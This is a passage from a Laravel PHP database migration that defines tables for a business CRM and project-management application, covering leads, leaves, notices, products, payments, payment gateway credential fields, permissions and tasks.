$table->unsignedInteger('added_by')->nullable()->index('lead_agents_added_by_foreign'); $table->unsignedInteger('last_updated_by')->nullable()->index('lead_agents_last_updated_by_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->timestamps(); }); Schema::create('lead_category', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->string('category_name'); $table->unsignedInteger('added_by')->nullable()->index('lead_category_added_by_foreign'); $table->unsignedInteger('last_updated_by')->nullable()->index('lead_category_last_updated_by_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->timestamps(); }); Schema::create('lead_custom_forms', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->unsignedInteger('custom_fields_id')->nullable()->index('lead_custom_forms_custom_fields_id_foreign'); $table->string('field_display_name'); $table->string('field_name'); $table->integer('field_order'); $table->enum('status', ['active', 'inactive'])->default('active'); $table->boolean('required')->default(false); $table->unsignedInteger('added_by')->nullable()->index('lead_custom_forms_added_by_foreign'); $table->unsignedInteger('last_updated_by')->nullable()->index('lead_custom_forms_last_updated_by_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['custom_fields_id'])->references(['id'])->on('custom_fields')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->timestamps(); }); Schema::create('leads', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->integer('client_id')->nullable(); $table->integer('source_id')->nullable(); $table->integer('status_id')->nullable(); $table->integer('column_priority'); $table->unsignedBigInteger('agent_id')->nullable()->index('leads_agent_id_foreign'); $table->string('company_name')->nullable(); $table->string('website')->nullable(); $table->text('address')->nullable(); $table->enum('salutation', ['mr', 'mrs', 'miss', 'dr', 'sir', 'madam'])->nullable(); $table->string('client_name'); $table->string('client_email')->nullable(); $table->string('mobile')->nullable(); $table->string('cell')->nullable(); $table->string('office')->nullable(); $table->string('city')->nullable(); $table->string('state')->nullable(); $table->string('country')->nullable(); $table->string('postal_code')->nullable(); $table->text('note')->nullable(); $table->enum('next_follow_up', ['yes', 'no'])->default('yes'); $table->double('value')->nullable()->default(0); $table->unsignedInteger('currency_id')->nullable()->index('leads_currency_id_foreign'); $table->unsignedInteger('category_id')->nullable()->index('leads_category_id_foreign'); $table->unsignedInteger('added_by')->nullable()->index('leads_added_by_foreign'); $table->unsignedInteger('last_updated_by')->nullable()->index('leads_last_updated_by_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['agent_id'])->references(['id'])->on('lead_agents')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['category_id'])->references(['id'])->on('lead_category')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['currency_id'])->references(['id'])->on('currencies')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->text('hash')->nullable(); $table->timestamps(); }); Schema::create('lead_files', function (Blueprint $table) { $table->increments('id'); $table->unsignedInteger('lead_id')->index('lead_files_lead_id_foreign'); $table->unsignedInteger('user_id')->index('lead_files_user_id_foreign'); $table->string('filename', 200); $table->string('hashname', 200); $table->string('size', 200); $table->text('description')->nullable(); $table->string('google_url')->nullable(); $table->string('dropbox_link')->nullable(); $table->unsignedInteger('added_by')->nullable()->index('lead_files_added_by_foreign'); $table->unsignedInteger('last_updated_by')->nullable()->index('lead_files_last_updated_by_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['lead_id'])->references(['id'])->on('leads')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->timestamps(); }); Schema::create('lead_follow_up', function (Blueprint $table) { $table->increments('id'); $table->unsignedInteger('lead_id')->index('lead_follow_up_lead_id_foreign'); $table->longText('remark')->nullable(); $table->dateTime('next_follow_up_date')->nullable(); $table->unsignedInteger('added_by')->nullable()->index('lead_follow_up_added_by_foreign'); $table->unsignedInteger('last_updated_by')->nullable()->index('lead_follow_up_last_updated_by_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['lead_id'])->references(['id'])->on('leads')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->text('event_id')->nullable(); $table->enum('send_reminder', ['yes', 'no'])->nullable()->default('no'); $table->text('remind_time')->nullable(); $table->enum('remind_type', ['minute', 'hour', 'day'])->nullable(); $table->timestamps(); }); Schema::create('lead_notes', function (Blueprint $table) { $table->increments('id'); $table->unsignedInteger('lead_id')->nullable()->index('lead_notes_lead_id_foreign'); $table->string('title'); $table->boolean('type')->default(false); $table->unsignedInteger('member_id')->nullable()->index('lead_notes_member_id_foreign'); $table->boolean('is_lead_show')->default(false); $table->boolean('ask_password')->default(false); $table->string('details'); $table->unsignedInteger('added_by')->nullable()->index('lead_notes_added_by_foreign'); $table->unsignedInteger('last_updated_by')->nullable()->index('lead_notes_last_updated_by_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['lead_id'])->references(['id'])->on('leads')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['member_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->timestamps(); }); Schema::create('lead_sources', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->string('type')->unique(); $table->unsignedInteger('added_by')->nullable()->index('lead_sources_added_by_foreign'); $table->unsignedInteger('last_updated_by')->nullable()->index('lead_sources_last_updated_by_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->timestamps(); }); Schema::create('lead_status', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->string('type')->unique(); $table->integer('priority'); $table->boolean('default'); $table->string('label_color')->default('#ff0000'); $table->timestamps(); }); Schema::create('lead_user_notes', function (Blueprint $table) { $table->increments('id'); $table->unsignedInteger('user_id')->index('lead_user_notes_user_id_foreign'); $table->unsignedInteger('lead_note_id')->index('lead_user_notes_lead_note_id_foreign'); $table->foreign(['lead_note_id'])->references(['id'])->on('lead_notes')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->timestamps(); }); Schema::create('leaves', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->unsignedInteger('user_id')->index('leaves_user_id_foreign'); $table->unsignedInteger('leave_type_id')->index('leaves_leave_type_id_foreign'); $table->string('duration'); $table->date('leave_date')->index(); $table->text('reason'); $table->enum('status', ['approved', 'pending', 'rejected']); $table->text('reject_reason')->nullable(); $table->boolean('paid')->default(false); $table->unsignedInteger('added_by')->nullable()->index('leaves_added_by_foreign'); $table->unsignedInteger('last_updated_by')->nullable()->index('leaves_last_updated_by_foreign'); $table->text('event_id')->nullable(); $table->unsignedInteger('approved_by')->nullable()->index('leaves_approved_by_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['approved_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['leave_type_id'])->references(['id'])->on('leave_types')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->dateTime('approved_at')->nullable(); $table->string('half_day_type')->nullable(); $table->timestamps(); }); Schema::create('log_time_for', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->enum('log_time_for', ['project', 'task'])->default('project'); $table->enum('auto_timer_stop', ['yes', 'no'])->default('no'); $table->boolean('approval_required'); $table->timestamps(); }); Schema::create('ltm_translations', function (Blueprint $table) { $table->increments('id'); $table->integer('status')->default(0); $table->string('locale'); $table->string('group'); $table->string('key'); $table->text('value')->nullable(); $table->timestamps(); }); Schema::create('menu_settings', function (Blueprint $table) { $table->bigIncrements('id'); $table->longText('main_menu')->nullable(); $table->longText('default_main_menu')->nullable(); $table->longText('setting_menu')->nullable(); $table->longText('default_setting_menu')->nullable(); $table->timestamps(); }); Schema::create('menus', function (Blueprint $table) { $table->bigIncrements('id'); $table->string('menu_name', 100); $table->string('translate_name')->nullable(); $table->string('route', 100)->nullable(); $table->string('module')->nullable(); $table->string('icon')->nullable(); $table->boolean('setting_menu')->nullable(); $table->timestamps(); }); Schema::create('message_settings', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->enum('allow_client_admin', ['yes', 'no'])->default('no'); $table->enum('allow_client_employee', ['yes', 'no'])->default('no'); $table->enum('restrict_client', ['yes', 'no'])->default('no'); $table->timestamps(); }); Schema::create('module_settings', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->string('module_name'); $table->enum('status', ['active', 'deactive']); $table->enum('type', ['admin', 'employee', 'client'])->default('admin'); $table->timestamps(); }); Schema::create('modules', function (Blueprint $table) { $table->increments('id'); $table->string('module_name'); $table->string('description')->nullable(); $table->timestamps(); }); Schema::create('notices', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->string('to')->default('employee'); $table->string('heading'); $table->mediumText('description')->nullable(); $table->unsignedInteger('department_id')->nullable()->index('notices_department_id_foreign'); $table->unsignedInteger('added_by')->nullable()->index('notices_added_by_foreign'); $table->unsignedInteger('last_updated_by')->nullable()->index('notices_last_updated_by_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['department_id'])->references(['id'])->on('teams')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->timestamps(); }); Schema::create('notice_views', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->unsignedInteger('notice_id')->index('notice_views_notice_id_foreign'); $table->unsignedInteger('user_id')->index('notice_views_user_id_foreign'); $table->foreign(['notice_id'])->references(['id'])->on('notices')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->boolean('read')->default(false); $table->timestamps(); }); Schema::create('notifications', function (Blueprint $table) { $table->char('id', 36)->primary(); $table->string('type'); $table->string('notifiable_type'); $table->unsignedBigInteger('notifiable_id'); $table->text('data'); $table->timestamp('read_at')->nullable(); $table->timestamps(); $table->index(['notifiable_type', 'notifiable_id']); }); Schema::create('offline_payment_methods', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->string('name'); $table->longText('description')->nullable(); $table->enum('status', ['yes', 'no'])->nullable()->default('yes'); $table->timestamps(); }); Schema::create('product_category', function (Blueprint $table) { $table->bigIncrements('id'); $table->string('category_name'); $table->timestamps(); }); Schema::create('product_sub_category', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->unsignedBigInteger('category_id')->index('product_sub_category_category_id_foreign'); $table->foreign(['category_id'])->references(['id'])->on('product_category')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->string('category_name'); $table->timestamps(); }); Schema::create('products', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->string('name'); $table->string('price'); $table->string('taxes')->nullable(); $table->boolean('allow_purchase')->default(false); $table->boolean('downloadable')->default(false); $table->string('downloadable_file')->nullable(); $table->text('description')->nullable(); $table->unsignedBigInteger('category_id')->nullable()->index('products_category_id_foreign'); $table->unsignedBigInteger('sub_category_id')->nullable()->index('products_sub_category_id_foreign'); $table->unsignedInteger('added_by')->nullable()->index('products_added_by_foreign'); $table->unsignedInteger('last_updated_by')->nullable()->index('products_last_updated_by_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['category_id'])->references(['id'])->on('product_category')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['sub_category_id'])->references(['id'])->on('product_sub_category')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->string('hsn_sac_code')->nullable(); $table->string('default_image')->nullable(); $table->timestamps(); }); Schema::create('order_items', function (Blueprint $table) { $table->bigIncrements('id'); $table->unsignedBigInteger('order_id')->index('order_items_order_id_foreign'); $table->unsignedInteger('product_id')->nullable()->index('order_items_product_id_foreign'); $table->foreign(['order_id'])->references(['id'])->on('orders')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['product_id'])->references(['id'])->on('products')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->string('item_name'); $table->text('item_summary')->nullable(); $table->enum('type', ['item', 'discount', 'tax'])->default('item'); $table->double('quantity', 16, 2); $table->integer('unit_price'); $table->double('amount', 8, 2); $table->string('hsn_sac_code')->nullable(); $table->string('taxes')->nullable(); $table->timestamps(); }); Schema::create('order_item_images', function (Blueprint $table) { $table->increments('id'); $table->unsignedBigInteger('order_item_id')->nullable()->index(); $table->foreign(['order_item_id'])->references(['id'])->on('order_items')->onUpdate('NO ACTION')->onDelete('CASCADE'); $table->string('external_link')->nullable(); $table->timestamps(); }); Schema::create('password_resets', function (Blueprint $table) { $table->string('email')->primary(); $table->string('token'); $table->timestamp('created_at')->nullable(); }); Schema::create('payment_gateway_credentials', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->string('paypal_client_id')->nullable(); $table->string('paypal_secret')->nullable(); $table->enum('paypal_status', ['active', 'deactive'])->default('deactive'); $table->string('live_stripe_client_id')->nullable(); $table->string('live_stripe_secret')->nullable(); $table->string('live_stripe_webhook_secret')->nullable(); $table->enum('stripe_status', ['active', 'deactive'])->default('deactive'); $table->string('live_razorpay_key')->nullable(); $table->string('live_razorpay_secret')->nullable(); $table->enum('razorpay_status', ['active', 'inactive'])->default('inactive'); $table->enum('paypal_mode', ['sandbox', 'live'])->default('sandbox'); $table->string('sandbox_paypal_client_id')->nullable(); $table->string('sandbox_paypal_secret')->nullable(); $table->string('test_stripe_client_id')->nullable(); $table->string('test_stripe_secret')->nullable(); $table->string('test_razorpay_key')->nullable(); $table->string('test_razorpay_secret')->nullable(); $table->string('test_stripe_webhook_secret')->nullable(); $table->enum('stripe_mode', ['test', 'live'])->default('test'); $table->enum('razorpay_mode', ['test', 'live'])->default('test'); $table->string('paystack_key')->nullable(); $table->string('paystack_secret')->nullable(); $table->string('paystack_merchant_email')->nullable(); $table->enum('paystack_status', ['active', 'deactive'])->nullable()->default('deactive'); $table->enum('paystack_mode', ['sandbox', 'live'])->default('sandbox'); $table->string('test_paystack_key')->nullable(); $table->string('test_paystack_secret')->nullable(); $table->string('test_paystack_merchant_email')->nullable(); $table->string('paystack_payment_url')->nullable()->default('https://api.paystack.co'); $table->string('mollie_api_key')->nullable(); $table->enum('mollie_status', ['active', 'deactive'])->nullable()->default('deactive'); $table->string('payfast_merchant_id')->nullable(); $table->string('payfast_merchant_key')->nullable(); $table->string('payfast_passphrase')->nullable(); $table->enum('payfast_mode', ['sandbox', 'live'])->default('sandbox'); $table->enum('payfast_status', ['active', 'deactive'])->nullable()->default('deactive'); $table->string('authorize_api_login_id')->nullable(); $table->string('authorize_transaction_key')->nullable(); $table->enum('authorize_environment', ['sandbox', 'live'])->default('sandbox'); $table->enum('authorize_status', ['active', 'deactive'])->default('deactive'); $table->string('square_application_id')->nullable(); $table->string('square_access_token')->nullable(); $table->string('square_location_id')->nullable(); $table->enum('square_environment', ['sandbox', 'production'])->default('sandbox'); $table->enum('square_status', ['active', 'deactive'])->default('deactive'); $table->enum('flutterwave_status', ['active', 'deactive'])->default('deactive'); $table->enum('flutterwave_mode', ['sandbox', 'live'])->default('sandbox'); $table->string('test_flutterwave_key')->nullable(); $table->string('test_flutterwave_secret')->nullable(); $table->string('test_flutterwave_hash')->nullable(); $table->string('live_flutterwave_key')->nullable(); $table->string('live_flutterwave_secret')->nullable(); $table->string('live_flutterwave_hash')->nullable(); $table->string('flutterwave_webhook_secret_hash')->nullable(); $table->timestamps(); }); Schema::create('payments', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->unsignedInteger('project_id')->nullable()->index('payments_project_id_foreign'); $table->unsignedInteger('invoice_id')->nullable()->index('payments_invoice_id_foreign'); $table->unsignedBigInteger('order_id')->nullable()->index('payments_order_id_foreign'); $table->unsignedInteger('credit_notes_id')->nullable()->index('payments_credit_notes_id_foreign'); $table->double('amount'); $table->string('gateway')->nullable(); $table->string('transaction_id')->nullable()->unique(); $table->unsignedInteger('currency_id')->nullable()->index('payments_currency_id_foreign'); $table->string('plan_id')->nullable()->unique(); $table->string('customer_id')->nullable(); $table->string('event_id')->nullable()->unique(); $table->enum('status', ['complete', 'pending', 'failed'])->default('pending'); $table->dateTime('paid_on')->nullable()->index(); $table->text('remarks')->nullable(); $table->unsignedInteger('offline_method_id')->nullable()->index('payments_offline_method_id_foreign'); $table->string('bill')->nullable(); $table->unsignedInteger('added_by')->nullable()->index('payments_added_by_foreign'); $table->unsignedInteger('last_updated_by')->nullable()->index('payments_last_updated_by_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['credit_notes_id'])->references(['id'])->on('credit_notes')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['currency_id'])->references(['id'])->on('currencies')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['invoice_id'])->references(['id'])->on('invoices')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['offline_method_id'])->references(['id'])->on('offline_payment_methods')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['order_id'])->references(['id'])->on('orders')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['project_id'])->references(['id'])->on('projects')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->text('payment_gateway_response')->nullable()->comment('null = success'); $table->string('payload_id')->nullable(); $table->timestamps(); }); Schema::create('permissions', function (Blueprint $table) { $table->increments('id'); $table->string('name')->unique(); $table->string('display_name')->nullable(); $table->string('description')->nullable(); $table->unsignedInteger('module_id')->index('permissions_module_id_foreign'); $table->foreign(['module_id'])->references(['id'])->on('modules')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->boolean('is_custom')->default(false); $table->text('allowed_permissions')->nullable(); $table->timestamps(); }); Schema::create('permission_types', function (Blueprint $table) { $table->bigIncrements('id'); $table->string('name'); $table->timestamps(); }); Schema::create('permission_role', function (Blueprint $table) { $table->unsignedInteger('permission_id'); $table->unsignedInteger('role_id')->index('permission_role_role_id_foreign'); $table->unsignedBigInteger('permission_type_id')->default(5)->index('permission_role_permission_type_id_foreign'); $table->foreign(['permission_id'])->references(['id'])->on('permissions')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['permission_type_id'])->references(['id'])->on('permission_types')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['role_id'])->references(['id'])->on('roles')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->primary(['permission_id', 'role_id']); }); Schema::create('project_milestones', function (Blueprint $table) { $table->increments('id'); $table->unsignedInteger('project_id')->nullable()->index('project_milestones_project_id_foreign'); $table->unsignedInteger('currency_id')->nullable()->index('project_milestones_currency_id_foreign'); $table->string('milestone_title'); $table->mediumText('summary'); $table->double('cost', 16, 2); $table->enum('status', ['complete', 'incomplete'])->default('incomplete'); $table->boolean('invoice_created'); $table->integer('invoice_id')->nullable(); $table->unsignedInteger('added_by')->nullable()->index('project_milestones_added_by_foreign'); $table->unsignedInteger('last_updated_by')->nullable()->index('project_milestones_last_updated_by_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['currency_id'])->references(['id'])->on('currencies')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['project_id'])->references(['id'])->on('projects')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->date('start_date')->nullable(); $table->date('end_date')->nullable(); $table->timestamps(); }); Schema::create('task_category', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->string('category_name'); $table->unsignedInteger('added_by')->nullable()->index('task_category_added_by_foreign'); $table->unsignedInteger('last_updated_by')->nullable()->index('task_category_last_updated_by_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->timestamps(); }); Schema::create('tasks', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->string('heading'); $table->longText('description')->nullable(); $table->date('due_date')->nullable()->index(); $table->date('start_date')->nullable(); $table->unsignedInteger('project_id')->nullable()->index('tasks_project_id_foreign'); $table->unsignedInteger('task_category_id')->nullable()->index('tasks_task_category_id_foreign'); $table->enum('priority', ['low', 'medium', 'high'])->default('medium'); $table->enum('status', ['incomplete', 'completed'])->default('incomplete'); $table->unsignedInteger('board_column_id')->nullable()->default(1)->index('tasks_board_column_id_foreign'); $table->integer('column_priority'); $table->dateTime('completed_on')->nullable(); $table->unsignedInteger('created_by')->nullable()->index('tasks_created_by_foreign'); $table->unsignedInteger('recurring_task_id')->nullable()->index('tasks_recurring_task_id_foreign'); $table->unsignedInteger('dependent_task_id')->nullable()->index('tasks_dependent_task_id_foreign'); $table->unsignedInteger('milestone_id')->nullable()->index('tasks_milestone_id_foreign'); $table->boolean('is_private')->default(false); $table->boolean('billable')->default(true); $table->integer('estimate_hours'); $table->integer('estimate_minutes'); $table->unsignedInteger('added_by')->nullable()->index('tasks_added_by_foreign'); $table->unsignedInteger('last_updated_by')->nullable()->index('tasks_last_updated_by_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['board_column_id'])->references(['id'])->on('taskboard_columns')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['created_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['dependent_task_id'])->references(['id'])->on('tasks')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['milestone_id'])->references(['id'])->on('project_milestones')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['project_id'])->references(['id'])->on('projects')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['recurring_task_id'])->references(['id'])->on('tasks')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['task_category_id'])->references(['id'])->on('task_category')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->string('hash', 64)->nullable(); $table->boolean('repeat')->default(false); $table->boolean('repeat_complete')->default(false); $table->integer('repeat_count')->nullable(); $table->enum('repeat_type', ['day', 'week', 'month', 'year'])->default('day'); $table->integer('repeat_cycles')->nullable(); $table->text('event_id')->nullable(); $table->timestamps(); $table->softDeletes()->index(); }); Schema::create('pinned', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->unsignedInteger('project_id')->nullable()->index('pinned_project_id_foreign'); $table->unsignedInteger('task_id')->nullable()->index('pinned_task_id_foreign'); $table->unsignedInteger('user_id')->index('pinned_user_id_foreign'); $table->foreign(['project_id'])->references(['id'])->on('projects')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['task_id'])->references(['id'])->on('tasks')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->timestamps(); }); Schema::create('product_files', function (Blueprint $table) { $table->increments('id'); $table->unsignedInteger('product_id')->index('product_files_product_id_foreign'); $table->string('filename', 200)->nullable(); $table->string('hashname', 200)->nullable(); $table->string('size', 200)->nullable(); $table->unsignedInteger('added_by')->nullable()->index('product_files_added_by_foreign'); $table->unsignedInteger('last_updated_by')->nullable()->index('product_files_last_updated_by_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['product_id'])->references(['id'])->on('products')->onUpdate('CASCADE')->onDelete('CASCADE'); }); Schema::create('project_activity', function (Blueprint $table) { $table->increments('id'); $table->unsignedInteger('project_id')->index('project_activity_project_id_foreign'); $table->foreign(['project_id'])->references(['id'])->on('projects')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->text('activity'); $table->timestamp('created_at')->nullable()->index(); $table->timestamp('updated_at')->nullable(); }); Schema::create('project_files', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->unsignedInteger('user_id')->index('project_files_user_id_foreign'); $table->unsignedInteger('project_id')->index('project_files_project_id_foreign'); $table->string('filename'); $table->string('hashname')->nullable(); $table->string('size')->nullable(); $table->text('description')->nullable(); $table->string('google_url')->nullable(); $table->string('dropbox_link')->nullable(); $table->string('external_link_name')->nullable(); $table->text('external_link')->nullable(); $table->unsignedInteger('added_by')->nullable()->index('project_files_added_by_foreign'); $table->unsignedInteger('last_updated_by')->nullable()->index('project_files_last_updated_by_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['project_id'])->references(['id'])->on('projects')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->timestamps(); }); Schema::create('project_members', function (Blueprint $table) { $table->increments('id'); $table->unsignedInteger('user_id')->index('project_members_user_id_foreign'); $table->unsignedInteger('project_id')->index('project_members_project_id_foreign'); $table->double('hourly_rate'); $table->unsignedInteger('added_by')->nullable()->index('project_members_added_by_foreign'); 